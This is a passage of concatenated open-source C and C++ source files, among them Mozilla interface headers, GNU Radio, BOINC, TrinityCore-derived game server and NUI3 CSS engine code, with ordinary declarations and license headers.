NS_IMETHOD GetExpiry(int64_t *aExpiry) { return _to GetExpiry(aExpiry); } \ NS_IMETHOD GetIsHttpOnly(bool *aIsHttpOnly) { return _to GetIsHttpOnly(aIsHttpOnly); } \ NS_IMETHOD GetCreationTime(int64_t *aCreationTime) { return _to GetCreationTime(aCreationTime); } \ NS_IMETHOD GetLastAccessed(int64_t *aLastAccessed) { return _to GetLastAccessed(aLastAccessed); } /* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */ #define NS_FORWARD_SAFE_NSICOOKIE2(_to) \ NS_IMETHOD GetRawHost(nsACString & aRawHost) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetRawHost(aRawHost); } \ NS_IMETHOD GetIsSession(bool *aIsSession) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetIsSession(aIsSession); } \ NS_IMETHOD GetExpiry(int64_t *aExpiry) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetExpiry(aExpiry); } \ NS_IMETHOD GetIsHttpOnly(bool *aIsHttpOnly) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetIsHttpOnly(aIsHttpOnly); } \ NS_IMETHOD GetCreationTime(int64_t *aCreationTime) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetCreationTime(aCreationTime); } \ NS_IMETHOD GetLastAccessed(int64_t *aLastAccessed) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetLastAccessed(aLastAccessed); } #if 0 /* Use the code below as a template for the implementation class for this interface. */ /* Header file */ class nsCookie2 : public nsICookie2 { public: NS_DECL_ISUPPORTS NS_DECL_NSICOOKIE2 nsCookie2(); private: ~nsCookie2(); protected: /* additional members */ }; /* Implementation file */ NS_IMPL_ISUPPORTS1(nsCookie2, nsICookie2) nsCookie2::nsCookie2() { /* member initializers and constructor code */ } nsCookie2::~nsCookie2() { /* destructor code */ } /* readonly attribute AUTF8String rawHost; */ NS_IMETHODIMP nsCookie2::GetRawHost(nsACString & aRawHost) { return NS_ERROR_NOT_IMPLEMENTED; } /* readonly attribute boolean isSession; */ NS_IMETHODIMP nsCookie2::GetIsSession(bool *aIsSession) { return NS_ERROR_NOT_IMPLEMENTED; } /* readonly attribute int64_t expiry; */ NS_IMETHODIMP nsCookie2::GetExpiry(int64_t *aExpiry) { return NS_ERROR_NOT_IMPLEMENTED; } /* readonly attribute boolean isHttpOnly; */ NS_IMETHODIMP nsCookie2::GetIsHttpOnly(bool *aIsHttpOnly) { return NS_ERROR_NOT_IMPLEMENTED; } /* readonly attribute int64_t creationTime; */ NS_IMETHODIMP nsCookie2::GetCreationTime(int64_t *aCreationTime) { return NS_ERROR_NOT_IMPLEMENTED; } /* readonly attribute int64_t lastAccessed; */ NS_IMETHODIMP nsCookie2::GetLastAccessed(int64_t *aLastAccessed) { return NS_ERROR_NOT_IMPLEMENTED; } /* End of implementation class template. */ #endif #endif /* __gen_nsICookie2_h__ */
/* -*- c++ -*- */ /* * Copyright 2004,2010,2012,2018 Free Software Foundation, Inc. * * This file is part of GNU Radio * * GNU Radio is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * GNU Radio is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GNU Radio; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_FFT_FFT_VFC_H #define INCLUDED_FFT_FFT_VFC_H #include <gnuradio/fft/api.h> #include <gnuradio/sync_block.h> namespace gr { namespace fft { /*! * \brief Compute forward or reverse FFT. complex vector in / complex vector out. * \ingroup fourier_analysis_blk * * The FFT operation is defined for a vector \f$x\f$ with \f$N\f$ uniformly * sampled points by * * \f[ X(a) = \sum_{k=0}^{N-1} x(a) \cdot e^{-j 2\pi k a / N} \f] * * \f$ X = FFT\{x\} \f$ is the the FFT transform of \f$x(a)\f$, \f$j\f$ is * the imaginary unit, \f$k\f$ and \f$a\f$ range from \f$0\f$ to \f$N-1\f$. * * The IFFT operation is defined for a vector \f$y\f$ with \f$N\f$ * uniformly sampled points by * * \f[ Y(b) = \sum_{k=0}^{N-1} y(b) \cdot e^{j 2\pi k b / N} \f] * * \f$Y = IFFT\{y\}\f$ is the the inverse FFT transform of \f$y(b)\f$, * \f$j\f$ is the imaginary unit, \f$k\f$ and \f$b\f$ range from \f$0\f$ to * \f$N-1\f$. * * \b Note, that due to the underlying FFTW library, the output of a FFT * followed by an IFFT (or the other way around) will be scaled i.e. * \f$FFT\{ \, IFFT\{x\} \,\} = N \cdot x \neq x\f$. * * \see http://www.fftw.org/faq/section3.html#whyscaled */ class FFT_API fft_vfc : virtual public sync_block { public: // gr::fft::fft_vfc::sptr typedef boost::shared_ptr<fft_vfc> sptr; /*! \brief * \param[in] fft_size N. * \param[in] forward True performs FFT, False performs IFFT. * \param[in] window Window function to be used. * \param[in] nthreads Number of underlying threads. */ static sptr make(int fft_size, bool forward, const std::vector<float>& window, int nthreads = 1); virtual void set_nthreads(int n) = 0; virtual int nthreads() const = 0; virtual bool set_window(const std::vector<float>& window) = 0; }; } /* namespace fft */ } /* namespace gr */ #endif /* INCLUDED_FFT_FFT_VFC_H */
// SPDX-FileCopyrightText: 2017 Google LLC // SPDX-License-Identifier: Apache-2.0 // An interface for the filesystem that allows mocking the filesystem in // unittests. #ifndef CPU_FEATURES_INCLUDE_INTERNAL_FILESYSTEM_H_ #define CPU_FEATURES_INCLUDE_INTERNAL_FILESYSTEM_H_ #include "cpu_features_macros.h" #include <stddef.h> #include <stdint.h> CPU_FEATURES_START_CPP_NAMESPACE // Same as linux "open(filename, O_RDONLY)", retries automatically on EINTR. int CpuFeatures_OpenFile(const char* filename); // Same as linux "read(file_descriptor, buffer, buffer_size)", retries // automatically on EINTR. int CpuFeatures_ReadFile(int file_descriptor, void* buffer, size_t buffer_size); // Same as linux "close(file_descriptor)". void CpuFeatures_CloseFile(int file_descriptor); CPU_FEATURES_END_CPP_NAMESPACE #endif // CPU_FEATURES_INCLUDE_INTERNAL_FILESYSTEM_H_
/* * ***** BEGIN GPL LICENSE BLOCK ***** * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * ***** END GPL LICENSE BLOCK ***** */ #ifndef __BLI_LINK_UTILS_H__ #define __BLI_LINK_UTILS_H__ /** \file BLI_link_utils.h * \ingroup bli * \brief Single link-list utility macros. (header only api). * * Use this api when the structure defines its own ``next`` pointer * and a double linked list such as #ListBase isnt needed. */ #define BLI_LINKS_PREPEND(list, link) { \ CHECK_TYPE_PAIR(list, link); \ (link)->next = list; \ list = link; \ } (void)0 #define BLI_LINKS_FREE(list) { \ while (list) { \ void *next = list->next; \ MEM_freeN(list); \ list = next; \ } \ } (void)0 #endif /* __BLI_LINK_UTILS_H__ */
// Copyright 2009 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef __etc1_h__ #define __etc1_h__ /// @cond DO_NOT_SHOW #define ETC1_ENCODED_BLOCK_SIZE 8 #define ETC1_DECODED_BLOCK_SIZE 48 #ifndef ETC1_RGB8_OES #define ETC1_RGB8_OES 0x8D64 #endif typedef unsigned char etc1_byte; typedef int etc1_bool; typedef unsigned int etc1_uint32; #ifdef __cplusplus extern "C" { #endif // Encode a block of pixels. // // pIn is a pointer to a ETC_DECODED_BLOCK_SIZE array of bytes that represent a // 4 x 4 square of 3-byte pixels in form R, G, B. Byte (3 * (x + 4 * y) is the R // value of pixel (x, y). // // validPixelMask is a 16-bit mask where bit (1 << (x + y * 4)) indicates whether // the corresponding (x,y) pixel is valid. Invalid pixel color values are ignored when compressing. // // pOut is an ETC1 compressed version of the data. void etc1_encode_block(const etc1_byte* pIn, etc1_uint32 validPixelMask, etc1_byte* pOut); // Decode a block of pixels. // // pIn is an ETC1 compressed version of the data. // // pOut is a pointer to a ETC_DECODED_BLOCK_SIZE array of bytes that represent a // 4 x 4 square of 3-byte pixels in form R, G, B. Byte (3 * (x + 4 * y) is the R // value of pixel (x, y). void etc1_decode_block(const etc1_byte* pIn, etc1_byte* pOut); // Return the size of the encoded image data (does not include size of PKM header). etc1_uint32 etc1_get_encoded_data_size(etc1_uint32 width, etc1_uint32 height); // Encode an entire image. // pIn - pointer to the image data. Formatted such that // pixel (x,y) is at pIn + pixelSize * x + stride * y; // pOut - pointer to encoded data. Must be large enough to store entire encoded image. // pixelSize can be 2 or 3. 2 is an GL_UNSIGNED_SHORT_5_6_5 image, 3 is a GL_BYTE RGB image. // returns non-zero if there is an error. int etc1_encode_image(const etc1_byte* pIn, etc1_uint32 width, etc1_uint32 height, etc1_uint32 pixelSize, etc1_uint32 stride, etc1_byte* pOut); // Decode an entire image. // pIn - pointer to encoded data. // pOut - pointer to the image data. Will be written such that // pixel (x,y) is at pIn + pixelSize * x + stride * y. Must be // large enough to store entire image. // pixelSize can be 2 or 3. 2 is an GL_UNSIGNED_SHORT_5_6_5 image, 3 is a GL_BYTE RGB image. // returns non-zero if there is an error. int etc1_decode_image(const etc1_byte* pIn, etc1_byte* pOut, etc1_uint32 width, etc1_uint32 height, etc1_uint32 pixelSize, etc1_uint32 stride); // Size of a PKM header, in bytes. #define ETC_PKM_HEADER_SIZE 16 // Format a PKM header void etc1_pkm_format_header(etc1_byte* pHeader, etc1_uint32 width, etc1_uint32 height); // Check if a PKM header is correctly formatted. etc1_bool etc1_pkm_is_valid(const etc1_byte* pHeader); // Read the image width from a PKM header etc1_uint32 etc1_pkm_get_width(const etc1_byte* pHeader); // Read the image height from a PKM header etc1_uint32 etc1_pkm_get_height(const etc1_byte* pHeader); #ifdef __cplusplus } #endif /// @endcond #endif
/* * Copyright (C) 2011-2012 Project SkyFire <http://www.projectskyfire.org/> * Copyright (C) 2008-2012 TrinityCore <http://www.trinitycore.org/> * Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _AUCTION_HOUSE_MGR_H #define _AUCTION_HOUSE_MGR_H #include <ace/Singleton.h> #include "Common.h" #include "DatabaseEnv.h" #include "DBCStructure.h" class Item; class Player; class WorldPacket; #define MIN_AUCTION_TIME (12*HOUR) #define MAX_AUCTION_ITEMS 160 enum AuctionError { AUCTION_OK = 0, AUCTION_INTERNAL_ERROR = 2, AUCTION_NOT_ENOUGHT_MONEY = 3, AUCTION_ITEM_NOT_FOUND = 4, CANNOT_BID_YOUR_AUCTION_ERROR = 10 }; enum AuctionAction { AUCTION_SELL_ITEM = 0, AUCTION_CANCEL = 1, AUCTION_PLACE_BID = 2 }; struct AuctionEntry { uint32 Id; uint32 auctioneer; // creature low guid uint32 item_guidlow; uint32 item_template; uint32 owner; uint64 startbid; //maybe useless uint64 bid; uint64 buyout; time_t expire_time; uint32 bidder; uint64 deposit; // deposit can be calculated only when creating auction AuctionHouseEntry const* auctionHouseEntry; // in AuctionHouse.dbc uint32 factionTemplateId; // helpers uint32 GetHouseId() const { return auctionHouseEntry->houseId; } uint32 GetHouseFaction() const { return auctionHouseEntry->faction; } uint32 GetAuctionCut() const; uint32 GetAuctionOutBid() const; bool BuildAuctionInfo(WorldPacket & data) const; void DeleteFromDB(SQLTransaction& trans) const; void SaveToDB(SQLTransaction& trans) const; bool LoadFromDB(Field* fields); bool LoadFromFieldList(Field* fields); }; //this class is used as auctionhouse instance class AuctionHouseObject { public: // Initialize storage AuctionHouseObject() { next = AuctionsMap.begin(); } ~AuctionHouseObject() { for (AuctionEntryMap::iterator itr = AuctionsMap.begin(); itr != AuctionsMap.end(); ++itr) delete itr->second; } typedef std::map<uint32, AuctionEntry*> AuctionEntryMap; uint32 Getcount() const { return AuctionsMap.size(); } AuctionEntryMap::iterator GetAuctionsBegin() {return AuctionsMap.begin();} AuctionEntryMap::iterator GetAuctionsEnd() {return AuctionsMap.end();} AuctionEntry* GetAuction(uint32 id) const { AuctionEntryMap::const_iterator itr = AuctionsMap.find(id); return itr != AuctionsMap.end() ? itr->second : NULL; } void AddAuction(AuctionEntry* auction); bool RemoveAuction(AuctionEntry* auction, uint32 item_template); void Update(); void BuildListBidderItems(WorldPacket& data, Player* player, uint32& count, uint32& totalcount); void BuildListOwnerItems(WorldPacket& data, Player* player, uint32& count, uint32& totalcount); void BuildListAuctionItems(WorldPacket& data, Player* player, std::wstring const& searchedname, uint32 listfrom, uint8 levelmin, uint8 levelmax, uint8 usable, uint32 inventoryType, uint32 itemClass, uint32 itemSubClass, uint32 quality, uint32& count, uint32& totalcount); private: AuctionEntryMap AuctionsMap; // storage for "next" auction item for next Update() AuctionEntryMap::const_iterator next; }; class AuctionHouseMgr { friend class ACE_Singleton<AuctionHouseMgr, ACE_Null_Mutex>; private: AuctionHouseMgr(); ~AuctionHouseMgr(); public: typedef UNORDERED_MAP<uint32, Item*> ItemMap; AuctionHouseObject* GetAuctionsMap(uint32 factionTemplateId); AuctionHouseObject* GetBidsMap(uint32 factionTemplateId); Item* GetAItem(uint32 id) { ItemMap::const_iterator itr = mAitems.find(id); if (itr != mAitems.end()) return itr->second; return NULL; } //auction messages void SendAuctionWonMail(AuctionEntry* auction, SQLTransaction& trans); void SendAuctionSalePendingMail(AuctionEntry* auction, SQLTransaction& trans); void SendAuctionSuccessfulMail(AuctionEntry* auction, SQLTransaction& trans); void SendAuctionExpiredMail(AuctionEntry* auction, SQLTransaction& trans); void SendAuctionOutbiddedMail(AuctionEntry* auction, uint32 newPrice, Player* newBidder, SQLTransaction& trans); void SendAuctionCancelledToBidderMail(AuctionEntry* auction, SQLTransaction& trans); static uint32 GetAuctionDeposit(AuctionHouseEntry const* entry, uint32 time, Item* pItem, uint32 count); static AuctionHouseEntry const* GetAuctionHouseEntry(uint32 factionTemplateId); public: // Used primarily at server start to avoid loading a list of expired auctions void DeleteExpiredAuctionsAtStartup(); //load first auction items, because of check if item exists, when loading void LoadAuctionItems(); void LoadAuctions(); void AddAItem(Item* it); bool RemoveAItem(uint32 id); void Update(); private: AuctionHouseObject mHordeAuctions; AuctionHouseObject mAllianceAuctions; AuctionHouseObject mNeutralAuctions; ItemMap mAitems; }; #define sAuctionMgr ACE_Singleton<AuctionHouseMgr, ACE_Null_Mutex>::instance() #endif
//# GSA_PvssApi.h: describes the API with the PVSS system //# //# Copyright (C) 2002-2003 //# ASTRON (Netherlands Foundation for Research in Astronomy) //# P.O.Box 2, 7990 AA Dwingeloo, The Netherlands, softwaresupport@astron.nl //# //# This program is free software; you can redistribute it and/or modify //# it under the terms of the GNU General Public License as published by //# the Free Software Foundation; either version 2 of the License, or //# (at your option) any later version. //# //# This program is distributed in the hope that it will be useful, //# but WITHOUT ANY WARRANTY; without even the implied warranty of //# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //# GNU General Public License for more details. //# //# You should have received a copy of the GNU General Public License //# along with this program; if not, write to the Free Software //# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA //# //# $Id$ #ifndef GSA_PVSSAPI_H #define GSA_PVSSAPI_H // PVSS includes #include <Manager.hxx> namespace LOFAR { namespace GCF { namespace PVSS { class GSASCADAHandler; class GSAPvssApi : public Manager { private: friend class GSASCADAHandler; GSAPvssApi(); virtual ~GSAPvssApi() {}; void doWork(); void stop(); void init(); }; } // namespace PVSS } // namespace GCF } // namespace LOFAR #endif
/* * DO NOT EDIT. THIS FILE IS GENERATED FROM e:/builds/moz2_slave/rel-m-beta-xr_w32_bld-00000000/build/dom/interfaces/svg/nsIDOMSVGAnimatedLength.idl */ #ifndef __gen_nsIDOMSVGAnimatedLength_h__ #define __gen_nsIDOMSVGAnimatedLength_h__ #ifndef __gen_domstubs_h__ #include "domstubs.h" #endif /* For IDL files that don't want to include root IDL files. */ #ifndef NS_NO_VTABLE #define NS_NO_VTABLE #endif class nsIDOMSVGLength; /* forward declaration */ /* starting interface: nsIDOMSVGAnimatedLength */ #define NS_IDOMSVGANIMATEDLENGTH_IID_STR "a52f0322-7f4d-418d-af6d-a7b14abd5cdf" #define NS_IDOMSVGANIMATEDLENGTH_IID \ {0xa52f0322, 0x7f4d, 0x418d, \ { 0xaf, 0x6d, 0xa7, 0xb1, 0x4a, 0xbd, 0x5c, 0xdf }} class NS_NO_VTABLE nsIDOMSVGAnimatedLength : public nsISupports { public: NS_DECLARE_STATIC_IID_ACCESSOR(NS_IDOMSVGANIMATEDLENGTH_IID) /* readonly attribute nsIDOMSVGLength baseVal; */ NS_IMETHOD GetBaseVal(nsIDOMSVGLength * *aBaseVal) = 0; /* readonly attribute nsIDOMSVGLength animVal; */ NS_IMETHOD GetAnimVal(nsIDOMSVGLength * *aAnimVal) = 0; }; NS_DEFINE_STATIC_IID_ACCESSOR(nsIDOMSVGAnimatedLength, NS_IDOMSVGANIMATEDLENGTH_IID) /* Use this macro when declaring classes that implement this interface. */ #define NS_DECL_NSIDOMSVGANIMATEDLENGTH \ NS_IMETHOD GetBaseVal(nsIDOMSVGLength * *aBaseVal); \ NS_IMETHOD GetAnimVal(nsIDOMSVGLength * *aAnimVal); /* Use this macro to declare functions that forward the behavior of this interface to another object. */ #define NS_FORWARD_NSIDOMSVGANIMATEDLENGTH(_to) \ NS_IMETHOD GetBaseVal(nsIDOMSVGLength * *aBaseVal) { return _to GetBaseVal(aBaseVal); } \ NS_IMETHOD GetAnimVal(nsIDOMSVGLength * *aAnimVal) { return _to GetAnimVal(aAnimVal); } /* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */ #define NS_FORWARD_SAFE_NSIDOMSVGANIMATEDLENGTH(_to) \ NS_IMETHOD GetBaseVal(nsIDOMSVGLength * *aBaseVal) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetBaseVal(aBaseVal); } \ NS_IMETHOD GetAnimVal(nsIDOMSVGLength * *aAnimVal) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetAnimVal(aAnimVal); } #if 0 /* Use the code below as a template for the implementation class for this interface. */ /* Header file */ class nsDOMSVGAnimatedLength : public nsIDOMSVGAnimatedLength { public: NS_DECL_ISUPPORTS NS_DECL_NSIDOMSVGANIMATEDLENGTH nsDOMSVGAnimatedLength(); private: ~nsDOMSVGAnimatedLength(); protected: /* additional members */ }; /* Implementation file */ NS_IMPL_ISUPPORTS1(nsDOMSVGAnimatedLength, nsIDOMSVGAnimatedLength) nsDOMSVGAnimatedLength::nsDOMSVGAnimatedLength() { /* member initializers and constructor code */ } nsDOMSVGAnimatedLength::~nsDOMSVGAnimatedLength() { /* destructor code */ } /* readonly attribute nsIDOMSVGLength baseVal; */ NS_IMETHODIMP nsDOMSVGAnimatedLength::GetBaseVal(nsIDOMSVGLength * *aBaseVal) { return NS_ERROR_NOT_IMPLEMENTED; } /* readonly attribute nsIDOMSVGLength animVal; */ NS_IMETHODIMP nsDOMSVGAnimatedLength::GetAnimVal(nsIDOMSVGLength * *aAnimVal) { return NS_ERROR_NOT_IMPLEMENTED; } /* End of implementation class template. */ #endif #endif /* __gen_nsIDOMSVGAnimatedLength_h__ */
// This file is part of BOINC. // http://boinc.berkeley.edu // Copyright (C) 2008 University of California // // BOINC is free software; you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License // as published by the Free Software Foundation, // either version 3 of the License, or (at your option) any later version. // // BOINC is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with BOINC. If not, see <http://www.gnu.org/licenses/>. #ifndef __sg_TaskPanel__ #define __sg_TaskPanel__ // Comment??? // #define SELECTBYRESULTNAME 0 #include "sg_PanelBase.h" typedef struct { RESULT * result; char result_name[256]; char project_url[256]; int dotColor; wxArrayString slideShowFileNames; int lastSlideShown; double project_files_downloaded_time; } TaskSelectionData; /////////////////////////////////////////////////////////////////////////// /// Class CScrolledTextBox /////////////////////////////////////////////////////////////////////////////// class CScrolledTextBox : public wxScrolledWindow { DECLARE_DYNAMIC_CLASS( CScrolledTextBox ) DECLARE_EVENT_TABLE() public: CScrolledTextBox(); CScrolledTextBox( wxWindow* parent); ~CScrolledTextBox(); void SetValue(const wxString& s); virtual void OnEraseBackground(wxEraseEvent& event); private: int Wrap(const wxString& text, int widthMax, int *lineHeight); bool IsStartOfNewLine(); void OnOutputLine(const wxString& line); wxBoxSizer* m_TextSizer; int m_iAvailableHeight; bool m_eol; wxString m_text; int m_hLine; }; /////////////////////////////////////////////////////////////////////////// /// Class CSlideShowPanel /////////////////////////////////////////////////////////////////////////////// class CSlideShowPanel : public wxPanel { DECLARE_DYNAMIC_CLASS( CSlideShowPanel ) DECLARE_EVENT_TABLE() public: CSlideShowPanel(); CSlideShowPanel( wxWindow* parent); ~CSlideShowPanel(); void OnSlideShowTimer(wxTimerEvent& WXUNUSED(event)); void AdvanceSlideShow(bool changeSlide, bool reload); void OnPaint(wxPaintEvent& WXUNUSED(event)); void OnEraseBackground(wxEraseEvent& event); private: CTransparentStaticText* m_institution; CTransparentStaticText* m_scienceArea; CScrolledTextBox* m_description; wxTimer* m_ChangeSlideTimer; wxBitmap m_SlideBitmap; bool m_bCurrentSlideIsDefault; bool m_bGotAllProjectsList; ALL_PROJECTS_LIST m_AllProjectsList; }; /////////////////////////////////////////////////////////////////////////////// /// Class CSimpleTaskPanel /////////////////////////////////////////////////////////////////////////////// #if 0 #ifdef __WXMAC__ #include "MacBitmapComboBox.h" #else #define CBOINCBitmapComboBox wxBitmapComboBox #define EVT_BOINCBITMAPCOMBOBOX EVT_COMBOBOX #endif #endif class CSimpleTaskPanel : public CSimplePanelBase { DECLARE_DYNAMIC_CLASS( CSimpleTaskPanel ) DECLARE_EVENT_TABLE() public: CSimpleTaskPanel(); CSimpleTaskPanel( wxWindow* parent); ~CSimpleTaskPanel(); TaskSelectionData* GetTaskSelectionData(); wxString GetSelectedTaskString() { return m_TaskSelectionCtrl->GetValue(); } void UpdatePanel(bool delayShow=false); wxRect* GetProgressRect(); void ReskinInterface(); private: void OnTaskSelection(wxCommandEvent &event); void GetApplicationAndProjectNames(RESULT* result, wxString* appName, wxString* projName); wxString GetElapsedTimeString(double f); wxString GetTimeRemainingString(double f); wxString GetStatusString(RESULT* result); wxString FormatTime(float fBuffer); void FindSlideShowFiles(TaskSelectionData *selData); void UpdateTaskSelectionList(bool reskin); bool isRunning(RESULT* result); bool DownloadingResults(); bool Suspended(); bool ProjectUpdateScheduled(); void DisplayIdleState(); protected: #ifdef __WXMAC__ void OnEraseBackground(wxEraseEvent& event); #endif wxRect* m_progressBarRect; CTransparentStaticText* m_myTasksLabel; CBOINCBitmapComboBox* m_TaskSelectionCtrl; CTransparentStaticText* m_TaskProjectLabel; CTransparentStaticText* m_TaskProjectName; #if SELECTBYRESULTNAME CTransparentStaticText* m_TaskApplicationName; #endif CSlideShowPanel* m_SlideShowArea; CTransparentStaticText* m_ElapsedTimeValue; CTransparentStaticText* m_TimeRemainingValue; wxGauge* m_ProgressBar; CTransparentStaticText* m_ProgressValueText; CTransparentStaticText* m_StatusValueText; wxButton* m_TaskCommandsButton; wxRect m_ProgressRect; int m_oldWorkCount; int m_ipctDoneX1000; time_t error_time; bool m_bStableTaskInfoChanged; int m_CurrentTaskSelection; wxString m_sNotAvailableString; wxString m_sNoProjectsString; }; #endif //__sg_TaskPanel__
// Copyright (C) 2010, 2011, 2012, Steffen Knollmann // Released under the terms of the GNU General Public License version 3. // This file is part of `ginnungagap'. /*--- Doxygen file description ------------------------------------------*/ /** * @file libutil/timer.c * @ingroup libutilMisc * @brief This file provides the implementation of the timer. */ /*--- Includes ----------------------------------------------------------*/ #include "util_config.h" #include "timer.h" #include <stdio.h> #include <assert.h> #if (defined WITH_MPI) # include <mpi.h> #elif (defined _OPENMP) # include <omp.h> #else # include <time.h> #endif /*--- Local variables ---------------------------------------------------*/ #if (!defined WITH_MPI && !defined _OPENMP) /** * @brief The conversion factor from the result of clock() to seconds. */ static double CPS_INV = 1. / ((double)CLOCKS_PER_SEC); #endif /*--- Local defines -----------------------------------------------------*/ /*--- Prototypes of local functions -------------------------------------*/ /*--- Implementations of exported functios ------------------------------*/ extern double timer_start(void) { #if (defined WITH_MPI) MPI_Barrier(MPI_COMM_WORLD); return -MPI_Wtime(); #elif (defined _OPENMP) return -omp_get_wtime(); #else return -clock() * CPS_INV; #endif } extern double timer_start_text(const char *text) { int rank = 0; #ifdef WITH_MPI MPI_Comm_rank(MPI_COMM_WORLD, &rank); #endif if (rank == 0) { printf("%s", text); fflush(stdout); } return timer_start(); } extern double timer_stop(double timing) { #if (defined WITH_MPI) int rank = 0; MPI_Comm_rank(MPI_COMM_WORLD, &rank); timing += MPI_Wtime(); { double timingMax; MPI_Allreduce(&timing, &timingMax, 1, MPI_DOUBLE, MPI_MAX, MPI_COMM_WORLD); timing = timingMax; } MPI_Barrier(MPI_COMM_WORLD); #elif (defined _OPENMP) timing += omp_get_wtime(); #else timing += clock() * CPS_INV; #endif return timing; } extern double timer_stop_text(double timing, const char *text) { int rank = 0; #ifdef WITH_MPI MPI_Comm_rank(MPI_COMM_WORLD, &rank); #endif timing = timer_stop(timing); if (rank == 0) { printf(text, timing); fflush(stdout); } return timing; } /*--- Implementations of local functions --------------------------------*/
/* NUI3 - C++ cross-platform GUI framework for OpenGL based applications Copyright (C) 2002-2003 Sebastien Metrot & Vincent Caron licence: see nui3/LICENCE.TXT */ #pragma once #include "nui.h" #include "nuiAsyncIStream.h" #include "nuiSingleton.h" typedef struct css_stylesheet css_stylesheet; typedef struct css_select_ctx css_select_ctx; typedef struct css_computed_style css_computed_style; typedef struct lwc_string_s lwc_string; class nuiCSSStyleSheet; class nuiHTMLItem; class nuiHTMLNode; class nuiHTMLContext; typedef nuiSignal1<nuiCSSStyleSheet*>::Slot nuiStyleSheetDoneDelegate; class nuiCSSStyleSheet { public: ~nuiCSSStyleSheet(); nuiSignal1<nuiCSSStyleSheet*> Done; bool IsValid() const; private: friend class nuiCSSEngine; friend class nuiCSSContext; std::vector<nuiCSSStyleSheet*> mpImports; nglIStream* mpStream; nuiSlotsSink mSlotSink; nglString mURL; bool mInline; css_stylesheet* mpSheet; nuiCSSStyleSheet(const nglString& rURL, const nglString& rText, bool Inline, const nuiStyleSheetDoneDelegate& rDelegate); nuiCSSStyleSheet(const nglString& rURL, nglIStream& rStream, bool Inline, const nglString& rCharset, const nuiStyleSheetDoneDelegate& rDelegate); nuiCSSStyleSheet(const nglString& rURL, const nuiStyleSheetDoneDelegate& rDelegate); void StreamDone(nuiAsyncIStream* pStream); void Init(nglIStream& rStream, const nglString& charset); void ImportDone(nuiCSSStyleSheet* pImport); }; class nuiCSSContext { public: nuiCSSContext(); ~nuiCSSContext(); void AddSheet(const nuiCSSStyleSheet* pSheet); ///< Add pSheet to the list of active css style sheets. void RemoveSheets(uint32 count); ///< remove the last count sheets from the context. bool Select(nuiHTMLContext& rContext, nuiHTMLNode* pNode); private: std::vector<const nuiCSSStyleSheet*> mSheets; css_select_ctx* mpContext; }; class nuiCSSStyle { public: nuiCSSStyle(nuiHTMLNode* pNode); ~nuiCSSStyle(); css_computed_style* GetStyle(); nuiColor GetColor() const; nuiColor GetBgColor() const; bool HasBgColor() const; enum Position { CSS_POSITION_INHERIT = 0x0, CSS_POSITION_STATIC = 0x1, CSS_POSITION_RELATIVE = 0x2, CSS_POSITION_ABSOLUTE = 0x3, CSS_POSITION_FIXED = 0x4 }; Position GetPosition() const; enum Unit { CSS_UNIT_PX = 0x0, CSS_UNIT_EX = 0x1, CSS_UNIT_EM = 0x2, CSS_UNIT_IN = 0x3, CSS_UNIT_CM = 0x4, CSS_UNIT_MM = 0x5, CSS_UNIT_PT = 0x6, CSS_UNIT_PC = 0x7, CSS_UNIT_PCT = 0x8, /* Percentage */ CSS_UNIT_DEG = 0x9, CSS_UNIT_GRAD = 0xa, CSS_UNIT_RAD = 0xb, CSS_UNIT_MS = 0xc, CSS_UNIT_S = 0xd, CSS_UNIT_HZ = 0xe, CSS_UNIT_KHZ = 0xf }; void GetTop(float& value, Unit& unit) const; void GetLeft(float& value, Unit& unit) const; void GetBottom(float& value, Unit& unit) const; void GetRight(float& value, Unit& unit) const; void GetWidth(float& value, Unit& unit) const; void GetMaxWidth(float& value, Unit& unit) const; private: friend class nuiCSSContext; css_computed_style* mpStyle; nuiHTMLNode* mpNode; }; class nuiCSSEngine { public: static nuiCSSStyleSheet* CreateStyleSheet(const nglString& rURL, const nglString& rString, bool Inline, const 